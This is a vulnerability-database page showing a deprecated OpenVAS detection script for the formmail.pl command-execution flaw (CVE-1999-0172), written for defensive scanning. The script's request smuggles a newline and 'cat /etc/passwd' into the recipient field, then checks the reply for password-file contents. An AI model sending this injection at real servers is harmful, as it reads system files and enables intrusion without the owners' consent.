Lucene search
K

formmail.pl

🗓️ 03 Nov 2005 00:00:00Reported by This script is Copyright (C) 1999 Mathieu PerrinType 
openvas
 openvas
🔗 plugins.openvas.org👁 24 Views

formmail.pl has a well-known security flaw allowing arbitrary command execution

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-1999-0172
29 Sep 199904:00
cve
Cvelist
CVE-1999-0172
29 Sep 199904:00
cvelist
EUVD
EUVD-1999-0172
7 Oct 202500:30
euvd
Tenable Nessus
Matthew Wright FormMail CGI (formmail.cgi) Arbitrary Mail Relay
1 Dec 199900:00
nessus
NVD
CVE-1999-0172
2 Aug 199504:00
nvd
OpenVAS
formmail.pl
3 Nov 200500:00
openvas
Positive Technologies
PT-1995-1010 · N/A · Formmail
2 Aug 199500:00
ptsecurity
RedhatCVE
CVE-1999-0172
7 Jan 202609:40
redhatcve
# OpenVAS Vulnerability Test
# $Id: formmail_pl.nasl 6703 2017-07-12 13:57:25Z cfischer $
# Description: formmail.pl
#
# Authors:
# Mathieu Perrin <[email protected]>
#
# Copyright:
# Copyright (C) 1999 Mathieu Perrin
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_summary = "The 'formmail.pl' is installed. This CGI has
 a well known security flaw that lets anyone execute arbitrary
 commands with the privileges of the http daemon (root or nobody).";

tag_solution = "remove it from /cgi-bin.";

if(description)
{
 script_id(10076);
 script_version("$Revision: 6703 $");
 script_tag(name:"last_modification", value:"$Date: 2017-07-12 15:57:25 +0200 (Wed, 12 Jul 2017) $");
 script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
 script_bugtraq_id(2079);
 script_tag(name:"cvss_base", value:"7.5");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_cve_id("CVE-1999-0172");
 script_name("formmail.pl");
 script_category(ACT_GATHER_INFO);
 script_tag(name:"qod_type", value:"remote_vul");
 script_copyright("This script is Copyright (C) 1999 Mathieu Perrin");
 script_family("Web application abuses");
 script_dependencies("find_service.nasl", "http_version.nasl");
 script_require_ports("Services/www", 80);
 script_mandatory_keys("FormMail/installed");
 
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);

 script_tag(name:"deprecated", value:TRUE); 

 exit(0);
}	  

# deprecated
exit(66);
  
include("http_func.inc");

port = get_http_port(default:80);
if( get_kb_item("Services/www/" + port + "/embedded") ) exit(0);

foreach dir( make_list_unique( "/", cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";

  a = string("POST ", dir, "/formmail.pl HTTP/1.0\r\n", "Host: ", get_host_name(), "\r\n");
  aa = string("POST ", dir, "/formmail HTTP/1.0\r\n", "Host: ", get_host_name(), "\r\n");

  b = string("Content-length: 120\r\n\r\n");
  c = string("recipient=root@localhost%0Acat%20/etc/passwd&email=openvas@localhost&subject=test\r\n\r\n");
  d = crap(200);
  soc = http_open_socket(port);
  if(soc)
  {
    req1 = a+b+c+d;
    send(socket:soc, data:req1);
    r = http_recv(socket:soc);
    http_close_socket(soc);
    if("root:" >< r)
    {
      security_message(port);
      exit(0);
    }

    soc2 = http_open_socket(port);
    if(!soc2)exit(0);
    req2 = aa+b+c+d;
    send(socket:soc2, data:req2);
    r2 = http_recv(socket:soc2);
    http_close_socket(soc2);
    if("root:" >< r2)
    {
      security_message(port);
      exit(0);
    }
   }
}
   

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jul 2017 00:00Current
0.5Low risk
Vulners AI Score0.5
EPSS0.01624
24